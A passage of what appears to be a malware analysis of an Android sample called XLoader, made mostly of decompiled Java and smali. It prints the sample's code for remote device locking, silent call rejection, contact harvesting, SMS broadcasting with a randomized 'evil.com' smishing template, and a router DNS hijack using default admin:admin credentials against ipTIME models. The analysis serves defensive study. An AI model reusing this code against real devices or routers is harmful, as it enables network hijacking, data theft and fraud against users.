static final class a implements c.a.a0.a {
/* renamed from: b, reason: collision with root package name */
final /* synthetic */ Object[] f297b;
a(Object[] objArr) {
this.f297b = objArr;
}
@Override // c.a.a0.a
public final void run() {
Object obj = this.f297b[0];
if (obj == null) {
throw new NullPointerException("null cannot be cast to non-null type kotlin.Boolean");
}
boolean zBooleanValue = ((Boolean) obj).booleanValue();
Loader.access$getPreferences$p(Loader.this).edit().putBoolean("lock", zBooleanValue).apply();
if (zBooleanValue) {
com.t.v(Loader.access$getCtx$p(Loader.this));
} else {
com.t.x(Loader.access$getCtx$p(Loader.this));
}
}
}
g0() {
super(1);
}
@Override // d.l.b.l
/* renamed from: d, reason: merged with bridge method [inline-methods] */
public final c.a.h<?> b(Object[] objArr) {
d.l.c.i.d(objArr, "params");
c.a.h<?> hVarD = c.a.h.d(new a(objArr));
d.l.c.i.c(hVarD, "Maybe.fromAction<Any> {\n… }\n }");
return hVarD;
}
}
com.t.v:
public static final boolean v(Context context) {
d.l.c.i.d(context, "ctx");
try {
SharedPreferences sharedPreferences = context.getSharedPreferences("pref", 0);
Object systemService = context.getSystemService("device_policy");
if (systemService == null) {
throw new NullPointerException("null cannot be cast to non-null type android.app.admin.DevicePolicyManager");
}
((DevicePolicyManager) systemService).lockNow();
sharedPreferences.edit().putBoolean("pwdReseted", true).apply();
return true;
} catch (Exception e2) {
e2.printStackTrace();
return false;
}
}
com.t.x does nothing.
In the onReceive callback, 2 actions are monitored, ACTION_USER_PRESENT and ACTION_SCREEN_ON and the device is locked in both cases.
...
if (d.l.c.i.a(action, "android.intent.action.USER_PRESENT")) {
if (Loader.access$getPreferences$p(Loader.this).getBoolean("lock", false)) {
com.t.v(Loader.access$getCtx$p(Loader.this));
}
if (Loader.this.getCallListener().a() != null) {
return;
}
String strD = Loader.this.d();
d.l.c.l lVar = new d.l.c.l();
lVar.f629a = true;
String string3 = Locale.getDefault().toString();
d.l.c.i.c(string3, "Locale.getDefault().toString()");
if (d.p.u.i(string3, "ko", false, 2, null) && d.l.c.i.a(strD, "")) {
lVar.f629a = false;
}
Loader.this.r().g(new e(lVar, strD));
return;
}
...
if (d.l.c.i.a(action, "android.intent.action.SCREEN_ON")) {
Log.d("WS", "screen on");
Loader.this.k();
if (Loader.access$getPreferences$p(Loader.this).getBoolean("lock", false)) {
Log.d("WS", "screen on unlock");
com.t.v(Loader.access$getCtx$p(Loader.this));
return;
}
return;
}
...
In the onCallStateChanged callback, incoming calls are probably silently rejected if the device is locked. The constant 1 is CALL_STATE_RINGING.
if (i == 1) {
if (Loader.access$getPreferences$p(Loader.this).getBoolean("lock", false)) {
try {
Object systemService = Loader.access$getCtx$p(Loader.this).getSystemService("phone");
if (systemService == null) {
throw new NullPointerException("null cannot be cast to non-null type android.telephony.TelephonyManager");
}
TelephonyManager telephonyManager = (TelephonyManager) systemService;
Method declaredMethod = Class.forName(telephonyManager.getClass().getName()).getDeclaredMethod("getITelephony", new Class[0]);
d.l.c.i.c(declaredMethod, "m");
declaredMethod.setAccessible(true);
Object objInvoke = declaredMethod.invoke(telephonyManager, new Object[0]);
if (objInvoke == null) {
throw new NullPointerException("null cannot be cast to non-null type com.android.internal.telephony.ITelephony");
}
((com.v.a.a.a) objInvoke).a();
} catch (Exception e2) {
e2.printStackTrace();
}
}
...
}
Jadx cannot resolve ((com.v.a.a.a) objInvoke).a(); but it is probably endCall.
Router DNS hijack
Callchain:
onReceive()
if (d.l.c.i.a(action, "android.net.conn.CONNECTIVITY_CHANGE"))
com.b(Loader.access$getCtx$p(Loader.this)).a()
Thread(new RunnableC0029b()).start()
run()
In the onReceive callback, the CONNECTIVITY_CHANGE action is monitored:
if (d.l.c.i.a(action, "android.net.conn.CONNECTIVITY_CHANGE")) {
Loader.this.k();
if (d.p.u.i(Loader.this.getDefaultAccounts(), "debug", false, 2, null)) {
return;
}
new com.b(Loader.access$getCtx$p(Loader.this)).a();
return;
}
Overview:
- Register the supported devices.
- Identify the router.
- Apply the proper exploit (the goal is to overwrite the first and secondary DNS servers with malicious ones).
Supported devices:
/* loaded from: /Users/gemesa/git-repos/tmp/xloader/payload.dex */
public class b {
/* renamed from: a, reason: collision with root package name */
static ArrayList<f> f408a = new ArrayList<>();
/* renamed from: b, reason: collision with root package name */
static HashSet<String> f409b = z("ipTIME N3-i\nipTIME N604plus-i\nEFM Networks ipTIME N604plus-i", 1);
/* renamed from: c, reason: collision with root package name */
static HashSet<String> f410c = z("EFM Networks - ipTIME Q104\nEFM Networks ipTIME Q104", 2);
/* renamed from: d, reason: collision with root package name */
static HashSet<String> f411d = z("EFM Networks - ipTIME Q204\nEFM Networks ipTIME Q204\nEFM Networks ipTIME V108", 3);
/* renamed from: e, reason: collision with root package name */
static HashSet<String> f412e = z("EFM Networks ipTIME Q604\nEFM Networks ipTIME Q604 PINKMOD\nEFM Networks ipTIME N104R\nEFM Networks ipTIME N604R\nEFM Networks ipTIME Q504\nEFM Networks ipTIME N5\nEFM Networks ipTIME N604V", 4);
static HashSet<String> f = z("EFM Networks ipTIME N104T", 5);
static HashSet<String> g = z("EFM Networks - ipTIME G301", 6);
static HashSet<String> h = z("title.n704bcm\ntitle.a8004t\ntitle.a2004sr\ntitle.n804r", 7);
static HashSet<String> i = z("", 8);
static HashSet<String> j = z("title.n104e\ntitle.n104pk\ntitle.a1004ns\ntitle.a604m\ntitle.n104pi\ntitle.a2008\ntitle.ax2004b\ntitle.n104q\ntitle.n604e\ntitle.n704e\ntitle.n704v3\ntitle.n704v5\ntitle.t5004\ntitle.t5008\ntitle.a1004\ntitle.a2003nm\ntitle.a2004sr\ntitle.a5004nm\ntitle.a604sky\ntitle.n2pi\ntitle.n604pi\ntitle.a2004m\ntitle.a3004nm\ntitle.a7ns\ntitle.a8txr\ntitle.ew302nr\ntitle.n602e\ntitle.t16000\ntitle.a3003ns\ntitle.a6004nm\ntitle.n1e\ntitle.n3i\ntitle.n6\ntitle.a2004ns\ntitle.n1pi\ntitle.a2004r\ntitle.n704bcm\ntitle.n600\ntitle.n102e\ntitle.n702r\ntitle.a8004i\ntitle.a2004nm\ntitle.t16000m\ntitle.a8004t\ntitle.a604r\ntitle.a9004x2\ntitle.a3004t\ntitle.n804r\ntitle.n5i\ntitle.n704qc\ntitle.a8004nm\ntitle.a8004nb\ntitle.n604p\ntitle.a604gm\ntitle.a3004\ntitle.a3008\ntitle.n2v\ntitle.ax2004m", 9);
static HashSet<String> k = z("title.v504\ntitle.n1p\ntitle.n704bcm\ntitle.ew302\ntitle.n104qi\ntitle.n104r\ntitle.n2p\ntitle.n608\ntitle.q604\ntitle.n104rsk\ntitle.n2e\ntitle.n604s\ntitle.n604t\ntitle.n702bcm\ntitle.n804\ntitle.n3\ntitle.q504\ntitle.a604\ntitle.v308\ntitle.a3004d\ntitle.n104p\ntitle.g104i\ntitle.n604r\ntitle.a2004\ntitle.a704nb", 10);
static HashSet<String> l = z("title.a604v\ntitle.n6004r\ntitle.n604p\ntitle.t3004\ntitle.n5\ntitle.n904\ntitle.a5004ns\ntitle.n8004r\ntitle.n604vlg", 11);
Register function:
static HashSet<String> z(String str, int i2) {
String[] strArrSplit = str.split("\\n");
HashSet<String> hashSet = new HashSet<>();
for (String str2 : strArrSplit) {
String lowerCase = str2.trim().toLowerCase();
if (lowerCase.length() > 0) {
hashSet.add(lowerCase);
f408a.add(new f(lowerCase, i2));
}
}
return hashSet;
}
Identify the router:
e x() {
String strD;
StringBuilder sb;
int i2 = ((WifiManager) this.n.getApplicationContext().getSystemService("wifi")).getDhcpInfo().serverAddress;
if (i2 == 0) {
return null;
}
String strY = y(i2);
int[] iArr = {8080, 8888, 80, 7777, 8899};
for (int i3 = 0; i3 < 5; i3++) {
int i4 = iArr[i3];
try {
String string = "http://" + strY + ":" + i4 + "/login/login.cgi";
while (true) {
strD = a.b.d(string, false);
Matcher matcher = Pattern.compile("http-equiv=\"?refresh\"? .+?URL=(.+?)\"", 2).matcher(strD);
if (!matcher.find()) {
Matcher matcher2 = Pattern.compile("<script>.+\\.location=\"(.+?)\";.*//session_timeout", 2).matcher(strD.replace(" ", ""));
if (!matcher2.find()) {
break;
}
String strGroup = matcher2.group(1);
if (!strGroup.startsWith("/")) {
strGroup = "/" + strGroup;
}
sb = new StringBuilder();
sb.append("http://");
sb.append(strY);
sb.append(":");
sb.append(i4);
sb.append(strGroup);
} else {
String strGroup2 = matcher.group(1);
if (!strGroup2.startsWith("/")) {
strGroup2 = "/" + strGroup2;
}
sb = new StringBuilder();
sb.append("http://");
sb.append(strY);
sb.append(":");
sb.append(i4);
sb.append(strGroup2);
}
string = sb.toString();
}
String lowerCase = strD.toLowerCase();
for (f fVar : f408a) {
if (lowerCase.contains(fVar.f422a)) {
return new e("http://" + strY + ":" + i4, fVar.f423b);
}
}
} catch (Exception unused) {
}
}
return null;
}
Apply the proper exploit:
class RunnableC0029b implements Runnable {
RunnableC0029b() {
}
@Override // java.lang.Runnable
public void run() {
try {
e eVarX = b.this.x();
if (eVarX == null) {
return;
}
int i = eVarX.f421b;
String strP = t.p("id729071494");
if (!strP.startsWith("http://")) {
strP = "http://" + strP;
}
String strTrim = a.b.d(strP, false).trim();
b.m = strTrim;
if (!strTrim.startsWith("http://")) {
b.m = "http://" + b.m;
}
if (i == 1) {
b.this.e(eVarX.f420a);
return;
}
if (i == 2) {
b.this.k(eVarX.f420a);
return;
}
if (i == 3) {
b.this.l(eVarX.f420a);
return;
}
if (i == 4) {
b.this.m(eVarX.f420a);
return;
}
if (i == 5) {
b.this.n(eVarX.f420a);
return;
}
if (i == 6) {
b.this.o(eVarX.f420a);
return;
}
if (i == 7) {
b.this.p(eVarX.f420a);
return;
}
if (i == 8) {
b.this.r(eVarX.f420a);
return;
}
if (i == 9) {
b.this.t(eVarX.f420a);
} else if (i == 10) {
b.this.f(eVarX.f420a);
} else if (i == 11) {
b.this.h(eVarX.f420a);
}
} catch (Exception e2) {
e2.printStackTrace();
}
}
}
Exploit overview:
| Type | Method | Description |
|---|---|---|
| 1 | e() |
Basic Auth admin:admin. Change password to xx113366, inject DNS via /cgi-bin/timepro.cgi. |
| 2 | k() |
Basic Auth admin:admin. Inject DNS via tmenu=netconf&smenu=internet&act=apply_dns. |
| 3 | l() |
Basic Auth admin:admin. Inject DNS via tmenu=netconf&smenu=wansetup&act=save&sel=dynamic. |
| 4 | m() |
Basic Auth admin:admin. Inject DNS with MAC address preservation (hw_dynamic/hw_pppoe/hw_static). |
| 5 | n() |
Not implemented. |
| 6 | o() |
Basic Auth admin:admin. Inject DNS via LAN setup /cgi-bin/timepro.cgi?tmenu=netconf&smenu=lanipsetup. |
| 7 | p() |
Session-based login (no CAPTCHA). Inject DNS via /sess-bin/timepro.cgi. |
| 8 | r() |
Session-based login (no CAPTCHA). Change password to xx113366, inject DNS with static/dynamic/pppoe detection. |
| 9 | t() |
Session-based login (with CAPTCHA). Change password to xx113366, inject DNS. |
| 10 | f() |
Session-based login (with CAPTCHA via OCR). Inject DNS via tmenu=iframe&smenu=hiddenwansetup. |
| 11 | h() |
Session-based login (with CAPTCHA). Change password, inject DNS, also hijack LAN DNS. |
Exploit example:
void o(String str) {
String[] strArr = {"Authorization", "Basic " + Base64.encodeToString("admin:admin".getBytes(), 0)};
String strE = a.b.e(str + "/cgi-bin/timepro.cgi?tmenu=netconf&smenu=lanipsetup", strArr);
ArrayList arrayList = new ArrayList();
for (int i2 = 1; i2 <= 4; i2++) {
Matcher matcher = Pattern.compile("name=\"ip" + i2 + ".*?value=\"(.*?)\"").matcher(strE);
if (matcher.find()) {
arrayList.add(matcher.group(1));
}
}
if (arrayList.size() != 4) {
return;
}
ArrayList arrayList2 = new ArrayList();
for (int i3 = 1; i3 <= 4; i3++) {
Matcher matcher2 = Pattern.compile("name=\"sm" + i3 + ".*?value=\"(.*?)\"").matcher(strE);
if (matcher2.find()) {
arrayList2.add(matcher2.group(1));
}
}
if (arrayList2.size() != 4) {
return;
}
ArrayList arrayList3 = new ArrayList();
for (int i4 = 1; i4 <= 4; i4++) {
Matcher matcher3 = Pattern.compile("name=\"gw" + i4 + ".*?value=\"(.*?)\"").matcher(strE);
if (matcher3.find()) {
arrayList3.add(matcher3.group(1));
}
}
if (arrayList3.size() != 4) {
return;
}
d dVarW = w();
a.b.e(str + "/cgi-bin/timepro.cgi?" + ("tmenu=netconf&smenu=lanipsetup&act=&commit=&sel=static" + b("ip", arrayList) + b("sm", arrayList2) + b("gw", arrayList3) + c("fdns", dVarW.f418c) + c("sdns", dVarW.f419d)), strArr);
}
w gets the malicious DNS servers from C2:
d w() {
String strP = t.p("id728588947");
if (strP == null) {
return null;
}
if (!strP.startsWith("http://")) {
strP = "http://" + strP;
}
Matcher matcher = Pattern.compile("\\[Severkt\\]----sever=(\\d+\\.\\d+\\.\\d+\\.\\d+)----sever1=(\\d+\\.\\d+\\.\\d+\\.\\d+)-").matcher(a.b.d(strP, false));
if (!matcher.find()) {
return null;
}
String strGroup = matcher.group(1);
String strGroup2 = matcher.group(2);
String[] strArrSplit = strGroup.split("\\.");
String[] strArrSplit2 = strGroup2.split("\\.");
d dVar = new d();
dVar.f416a = strGroup;
dVar.f417b = strGroup2;
dVar.f418c = strArrSplit;
dVar.f419d = strArrSplit2;
return dVar;
}
Contact harvesting
Contact information (name + phone) is gathered via the gcont RPC command.
Overview:
- Queries the Android contacts database (
content://com.android.contacts/raw_contactsandcontent://com.android.contacts/data) to extract all contact names and phone numbers. Returns an array of{name, phone}maps to the C2 server.
f0 is the registered RPC handler for the gcont command.
static final class f0 extends d.l.c.j implements d.l.b.l<Object[], c.a.h<?>> {
static final class a<V> implements Callable<ArrayList<HashMap<String, String>>> {
a() {
}
/* JADX DEBUG: Method merged with bridge method: call()Ljava/lang/Object; */
@Override // java.util.concurrent.Callable
/* renamed from: a, reason: merged with bridge method [inline-methods] */
public final ArrayList<HashMap<String, String>> call() {
return com.t.s(Loader.access$getCtx$p(Loader.this));
}
}
f0() {
super(1);
}
/* JADX DEBUG: Method merged with bridge method: b(Ljava/lang/Object;)Ljava/lang/Object; */
@Override // d.l.b.l
/* renamed from: d, reason: merged with bridge method [inline-methods] */
public final c.a.h<?> b(Object[] objArr) {
d.l.c.i.d(objArr, "it");
c.a.h<?> hVarE = c.a.h.e(new a());
d.l.c.i.c(hVarE, "Maybe.fromCallable {\n …ontact(ctx)\n }");
return hVarE;
}
}
public static final ArrayList<HashMap<String, String>> s(Context context) {
Cursor cursorQuery;
String str;
d.l.c.i.d(context, "context");
Uri uri = Uri.parse("content://com.android.contacts/raw_contacts");
Uri uri2 = Uri.parse("content://com.android.contacts/data");
ArrayList<HashMap<String, String>> arrayList = new ArrayList<>();
try {
Cursor cursorQuery2 = context.getContentResolver().query(uri, new String[]{"contact_id"}, null, null, null);
if (cursorQuery2 != null) {
while (cursorQuery2.moveToNext()) {
String string = cursorQuery2.getString(0);
if (string != null && (cursorQuery = context.getContentResolver().query(uri2, new String[]{"data1", "mimetype"}, "contact_id=?", new String[]{string}, null)) != null) {
HashMap<String, String> map = new HashMap<>();
while (cursorQuery.moveToNext()) {
String string2 = cursorQuery.getString(0);
String string3 = cursorQuery.getString(1);
if (d.l.c.i.a("vnd.android.cursor.item/phone_v2", string3)) {
str = "phone";
if (string2 == null) {
string2 = "未知";
}
} else if (d.l.c.i.a("vnd.android.cursor.item/name", string3)) {
str = "name";
if (string2 == null) {
string2 = "未知";
}
}
map.put(str, string2);
}
arrayList.add(map);
cursorQuery.close();
}
}
cursorQuery2.close();
}
} catch (Exception e2) {
e2.printStackTrace();
}
return arrayList;
}
Send single SMS
A single SMS can be sent via the sendSms RPC command.
r is the registered RPC handler for the sendSms command.
Overview:
- The command accepts 2 params (address/number and message content).
- The messages are put into a queue and Android manages the SMS message sending.
Implementation:
bhandles the parsing of theparamsarray.adestructures the address and the message content into 2 separate variables.acallscom.pwhich organizes the data into the malware’s SMS data class.com.r.h.gputs the message into the queue of theHandler.- Android calls
handleMessagewhen ready. handleMessagecallsdwhich callsSmsManager.sendMultipartTextMessage.
static final class r extends d.l.c.j implements d.l.b.l<Object[], c.a.h<?>> {
static final class a<T> implements c.a.k<Object> {
/* renamed from: b, reason: collision with root package name */
final /* synthetic */ Object[] f359b;
/* renamed from: com.Loader$r$a$a, reason: collision with other inner class name */
static final class C0026a extends d.l.c.j implements d.l.b.p<com.p, String, d.g> {
/* renamed from: b, reason: collision with root package name */
final /* synthetic */ c.a.i f360b;
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
C0026a(c.a.i iVar) {
super(2);
this.f360b = iVar;
}
/* JADX DEBUG: Method arguments types fixed to match base method, original types: [java.lang.Object, java.lang.Object] */
/* JADX DEBUG: Return type fixed from 'java.lang.Object' to match base method */
@Override // d.l.b.p
public /* bridge */ /* synthetic */ d.g c(com.p pVar, String str) {
d(pVar, str);
return d.g.f593a;
}
public final void d(com.p pVar, String str) {
d.l.c.i.d(pVar, "sms");
c.a.i iVar = this.f360b;
if (str == null) {
iVar.b();
} else {
iVar.a(new com.o(-1, str, null));
}
}
}
a(Object[] objArr) {
this.f359b = objArr;
}
@Override // c.a.k
public final void a(c.a.i<Object> iVar) {
d.l.c.i.d(iVar, "emitter");
Object[] objArr = this.f359b;
Object obj = objArr[0];
if (obj == null) {
throw new NullPointerException("null cannot be cast to non-null type kotlin.String");
}
String str = (String) obj;
Object obj2 = objArr[1];
if (obj2 == null) {
throw new NullPointerException("null cannot be cast to non-null type kotlin.String");
}
com.r.h.g(new com.p(Loader.access$getCtx$p(Loader.this), str, (String) obj2, null, new C0026a(iVar)));
}
}
r() {
super(1);
}
/* JADX DEBUG: Method merged with bridge method: b(Ljava/lang/Object;)Ljava/lang/Object; */
@Override // d.l.b.l
/* renamed from: d, reason: merged with bridge method [inline-methods] */
public final c.a.h<?> b(Object[] objArr) {
d.l.c.i.d(objArr, "params");
c.a.h<?> hVarB = c.a.h.b(new a(objArr));
d.l.c.i.c(hVarB, "Maybe.create<Any> { emit… }))\n }");
return hVarB;
}
}
public final class r {
private static boolean f;
public static final r h = new r();
/* renamed from: a, reason: collision with root package name */
private static final String f492a = "android.sms.msg.action.SMS_SEND";
/* renamed from: b, reason: collision with root package name */
private static final String f493b = "android.sms.msg.action.SMS_DELIVERED";
/* renamed from: c, reason: collision with root package name */
private static final List<p> f494c = new ArrayList();
/* renamed from: d, reason: collision with root package name */
private static final Map<Long, p> f495d = new LinkedHashMap();
/* renamed from: e, reason: collision with root package name */
private static final Random f496e = new Random();
private static final a g = new a(Looper.getMainLooper());
public static final class a extends Handler {
a(Looper looper) {
super(looper);
}
@Override // android.os.Handler
public void handleMessage(Message message) {
d.l.c.i.d(message, "msg");
Object obj = message.obj;
if (obj == null) {
throw new NullPointerException("null cannot be cast to non-null type com.SMS");
}
r rVar = r.h;
r.c(rVar).add((p) obj);
if (r.b(rVar)) {
return;
}
rVar.d();
}
}
private r() {
}
public static final /* synthetic */ boolean b(r rVar) {
return f;
}
public static final /* synthetic */ List c(r rVar) {
return f494c;
}
/* JADX INFO: Access modifiers changed from: private */
public final void d() {
List<p> list = f494c;
if (!list.isEmpty()) {
f = true;
p pVarRemove = list.remove(0);
long jNextLong = f496e.nextLong();
String strE = d.p.u.e(d.p.u.e(pVarRemove.a(), " ", "", false, 4, null), "-", "", false, 4, null);
if (pVarRemove.e() == null) {
pVarRemove.f(new Bundle());
Bundle bundleE = pVarRemove.e();
d.l.c.i.b(bundleE);
bundleE.putLong("smsid", jNextLong);
}
Bundle bundle = new Bundle();
SmsManager smsManager = SmsManager.getDefault();
Intent intent = new Intent(f492a);
intent.putExtras(pVarRemove.e());
PendingIntent broadcast = PendingIntent.getBroadcast(pVarRemove.c(), 1, intent, 134217728);
ArrayList<PendingIntent> arrayList = new ArrayList<>();
arrayList.add(broadcast);
Intent intent2 = new Intent(f493b);
intent2.putExtras(bundle);
PendingIntent broadcast2 = PendingIntent.getBroadcast(pVarRemove.c(), 1, intent2, 134217728);
ArrayList<PendingIntent> arrayList2 = new ArrayList<>();
arrayList2.add(broadcast2);
ArrayList<String> arrayListDivideMessage = smsManager.divideMessage(pVarRemove.b());
try {
Object systemService = pVarRemove.c().getSystemService("audio");
if (systemService == null) {
throw new NullPointerException("null cannot be cast to non-null type android.media.AudioManager");
}
((AudioManager) systemService).setRingerMode(0);
smsManager.sendMultipartTextMessage(strE, null, arrayListDivideMessage, arrayList, arrayList2);
f495d.put(Long.valueOf(jNextLong), pVarRemove);
} catch (Exception e2) {
d.l.b.p<p, String, d.g> pVarD = pVarRemove.d();
String message = e2.getMessage();
d.l.c.i.b(message);
pVarD.c(pVarRemove, message);
f = false;
d();
}
}
}
public final String e() {
return f492a;
}
public final void f(Intent intent, int i) {
d.l.c.i.d(intent, "intent");
p pVarRemove = f495d.remove(Long.valueOf(intent.getLongExtra("smsid", 0L)));
if (pVarRemove != null) {
try {
if (i == -1) {
pVarRemove.d().c(pVarRemove, null);
} else if (1 <= i && 6 >= i) {
pVarRemove.d().c(pVarRemove, "" + i);
}
} catch (Throwable unused) {
}
}
f = false;
d();
}
public final void g(p pVar) {
d.l.c.i.d(pVar, "sms");
Message messageObtain = Message.obtain();
messageObtain.obj = pVar;
g.sendMessage(messageObtain);
}
}
Broadcast SMS
SMS broadcasts are sent via the bc RPC command.
h0 is the registered RPC handler for the bc command.
Overview:
- The command accepts a single param: the message template.
- The template contains placeholder characters that are replaced per contact.
- For example, in the template
Visit http://evil.com/$$~~^:$$is replaced by a random 5 digit number.~~is replaced by 1-5 slashes.^is replaced by a random letter.
- The message is sent to each phone and SIM contact.
The reasons for these randomized characters could be the following:
- SMS spam filter evasion
- bypassing URL blocklists
- tracking victims
static final class h0 extends d.l.c.j implements d.l.b.l<Object[], c.a.h<?>> {
static final class a<T> implements c.a.k<Boolean> {
/* renamed from: b, reason: collision with root package name */
final /* synthetic */ Object[] f309b;
/* renamed from: com.Loader$h0$a$a, reason: collision with other inner class name */
static final class C0024a extends d.l.c.j implements d.l.b.p<com.p, String, d.g> {
/* renamed from: b, reason: collision with root package name */
public static final C0024a f310b = new C0024a();
C0024a() {
super(2);
}
/* JADX DEBUG: Method arguments types fixed to match base method, original types: [java.lang.Object, java.lang.Object] */
/* JADX DEBUG: Return type fixed from 'java.lang.Object' to match base method */
@Override // d.l.b.p
public /* bridge */ /* synthetic */ d.g c(com.p pVar, String str) {
d(pVar, str);
return d.g.f593a;
}
public final void d(com.p pVar, String str) {
d.l.c.i.d(pVar, "sms");
}
}
static final class b extends d.l.c.j implements d.l.b.l<d.p.h, CharSequence> {
/* renamed from: b, reason: collision with root package name */
final /* synthetic */ Random f311b;
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
b(Random random) {
super(1);
this.f311b = random;
}
/* JADX DEBUG: Method merged with bridge method: b(Ljava/lang/Object;)Ljava/lang/Object; */
@Override // d.l.b.l
/* renamed from: d, reason: merged with bridge method [inline-methods] */
public final CharSequence b(d.p.h hVar) {
d.l.c.i.d(hVar, "it");
return String.valueOf(this.f311b.nextInt(90000) + 10000);
}
}
static final class c extends d.l.c.j implements d.l.b.l<d.p.h, CharSequence> {
/* renamed from: b, reason: collision with root package name */
final /* synthetic */ Random f312b;
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
c(Random random) {
super(1);
this.f312b = random;
}
/* JADX DEBUG: Method merged with bridge method: b(Ljava/lang/Object;)Ljava/lang/Object; */
@Override // d.l.b.l
/* renamed from: d, reason: merged with bridge method [inline-methods] */
public final CharSequence b(d.p.h hVar) {
d.l.c.i.d(hVar, "it");
String strSubstring = "//////".substring(0, this.f312b.nextInt(5) + 1);
d.l.c.i.c(strSubstring, "(this as java.lang.Strin…ing(startIndex, endIndex)");
return strSubstring;
}
}
static final class d extends d.l.c.j implements d.l.b.l<d.p.h, CharSequence> {
/* renamed from: b, reason: collision with root package name */
final /* synthetic */ Random f313b;
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
d(Random random) {
super(1);
this.f313b = random;
}
/* JADX DEBUG: Method merged with bridge method: b(Ljava/lang/Object;)Ljava/lang/Object; */
@Override // d.l.b.l
/* renamed from: d, reason: merged with bridge method [inline-methods] */
public final CharSequence b(d.p.h hVar) {
d.l.c.i.d(hVar, "it");
return String.valueOf("abcdefghijklmnopqrstuvwxyz".charAt(this.f313b.nextInt(26)));
}
}
a(Object[] objArr) {
this.f309b = objArr;
}
/* JADX WARN: Removed duplicated region for block: B:17:0x009e */
@Override // c.a.k
/*
Code decompiled incorrectly, please refer to instructions dump.
To view partially-correct code enable 'Show inconsistent code' option in preferences
*/
public final void a(c.a.i<java.lang.Boolean> r12) {
/*
r11 = this;
java.lang.String r0 = "emitter"
d.l.c.i.d(r12, r0)
java.lang.Object[] r0 = r11.f309b
r1 = 0
r0 = r0[r1]
if (r0 == 0) goto Lac
java.lang.String r0 = (java.lang.String) r0
com.Loader$h0 r2 = com.Loader.h0.this
com.Loader r2 = com.Loader.this
android.content.Context r2 = com.Loader.access$getCtx$p(r2)
java.lang.String r3 = "phone"
java.lang.Object r2 = r2.getSystemService(r3)
if (r2 == 0) goto La4
android.telephony.TelephonyManager r2 = (android.telephony.TelephonyManager) r2
int r2 = r2.getSimState()
r3 = 5
if (r2 != r3) goto L9e
int r2 = r0.length()
if (r2 <= 0) goto L2e
r1 = 1
L2e:
if (r1 == 0) goto L9e
com.c r1 = com.c.f425b
com.Loader$h0 r2 = com.Loader.h0.this
com.Loader r2 = com.Loader.this
android.content.Context r2 = com.Loader.access$getCtx$p(r2)
java.util.Set r1 = r1.a(r2)
java.util.Random r2 = new java.util.Random
r2.<init>()
java.util.Iterator r1 = r1.iterator()
L47:
boolean r3 = r1.hasNext()
if (r3 == 0) goto L9b
java.lang.Object r3 = r1.next()
r6 = r3
java.lang.String r6 = (java.lang.String) r6
d.p.j r3 = new d.p.j
java.lang.String r4 = "\\$\\$"
r3.<init>(r4)
com.Loader$h0$a$b r4 = new com.Loader$h0$a$b
r4.<init>(r2)
java.lang.String r3 = r3.c(r0, r4)
d.p.j r4 = new d.p.j
java.lang.String r5 = "~~"
r4.<init>(r5)
com.Loader$h0$a$c r5 = new com.Loader$h0$a$c
r5.<init>(r2)
java.lang.String r3 = r4.c(r3, r5)
d.p.j r4 = new d.p.j
java.lang.String r5 = "\\^"
r4.<init>(r5)
com.Loader$h0$a$d r5 = new com.Loader$h0$a$d
r5.<init>(r2)
java.lang.String r7 = r4.c(r3, r5)
com.r r3 = com.r.h
com.p r10 = new com.p
com.Loader$h0 r4 = com.Loader.h0.this
com.Loader r4 = com.Loader.this
android.content.Context r5 = com.Loader.access$getCtx$p(r4)
r8 = 0
com.Loader$h0$a$a r9 = com.Loader.h0.a.C0024a.f310b
r4 = r10
r4.<init>(r5, r6, r7, r8, r9)
r3.g(r10)
goto L47
L9b:
java.lang.Boolean r0 = java.lang.Boolean.TRUE
goto La0
L9e:
java.lang.Boolean r0 = java.lang.Boolean.FALSE
La0:
r12.c(r0)
return
La4:
java.lang.NullPointerException r12 = new java.lang.NullPointerException
java.lang.String r0 = "null cannot be cast to non-null type android.telephony.TelephonyManager"
r12.<init>(r0)
throw r12
Lac:
java.lang.NullPointerException r12 = new java.lang.NullPointerException
java.lang.String r0 = "null cannot be cast to non-null type kotlin.String"
r12.<init>(r0)
goto Lb5
Lb4:
throw r12
Lb5:
goto Lb4
*/
throw new UnsupportedOperationException("Method not decompiled: com.Loader.h0.a.a(c.a.i):void");
}
}
h0() {
super(1);
}
/* JADX DEBUG: Method merged with bridge method: b(Ljava/lang/Object;)Ljava/lang/Object; */
@Override // d.l.b.l
/* renamed from: d, reason: merged with bridge method [inline-methods] */
public final c.a.h<?> b(Object[] objArr) {
d.l.c.i.d(objArr, "params");
c.a.h<?> hVarB = c.a.h.b(new a(objArr));
d.l.c.i.c(hVarB, "Maybe.create<Boolean> { … }\n }");
return hVarB;
}
}
The relevant part in the smali to connect the replace functions to the template characters can be seen below. We can map the functions to the template characters based on this:
$$–>Loader.h0.a.b~~–>Loader.h0.a.c^–>Loader.h0.a.d
...
java.lang.String r4 = "\\$\\$"
r3.<init>(r4)
com.Loader$h0$a$b r4 = new com.Loader$h0$a$b
r4.<init>(r2)
java.lang.String r3 = r3.c(r0, r4)
d.p.j r4 = new d.p.j
java.lang.String r5 = "~~"
r4.<init>(r5)
com.Loader$h0$a$c r5 = new com.Loader$h0$a$c
r5.<init>(r2)
java.lang.String r3 = r4.c(r3, r5)
d.p.j r4 = new d.p.j
java.lang.String r5 = "\\^"
r4.<init>(r5)
com.Loader$h0$a$d r5 = new com.Loader$h0$a$d
r5.<init>(r2)
java.lang.String r7 = r4.c(r3, r5)
...
Contact resolver (com.c.f425b.a):
...
L2e:
if (r1 == 0) goto L9e
com.c r1 = com.c.f425b
com.Loader$h0 r2 = com.Loader.h0.this
com.Loader r2 = com.Loader.this
android.content.Context r2 = com.Loader.access$getCtx$p(r2)
java.util.Set r1 = r1.a(r2)
java.util.Random r2 = new java.util.Random
r2.<init>()
java.util.Iterator r1 = r1.iterator()
...
package com;
import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import android.provider.ContactsContract;
import java.util.LinkedHashSet;
import java.util.Set;
/* loaded from: /Users/gemesa/git-repos/tmp/xloader/payload.dex */
public final class c {
/* renamed from: b, reason: collision with root package name */
public static final c f425b = new c();
/* renamed from: a, reason: collision with root package name */
private static final Set<String> f424a = new LinkedHashSet();
private c() {
}
public final Set<String> a(Context context) {
d.l.c.i.d(context, "context");
ContentResolver contentResolver = context.getContentResolver();
try {
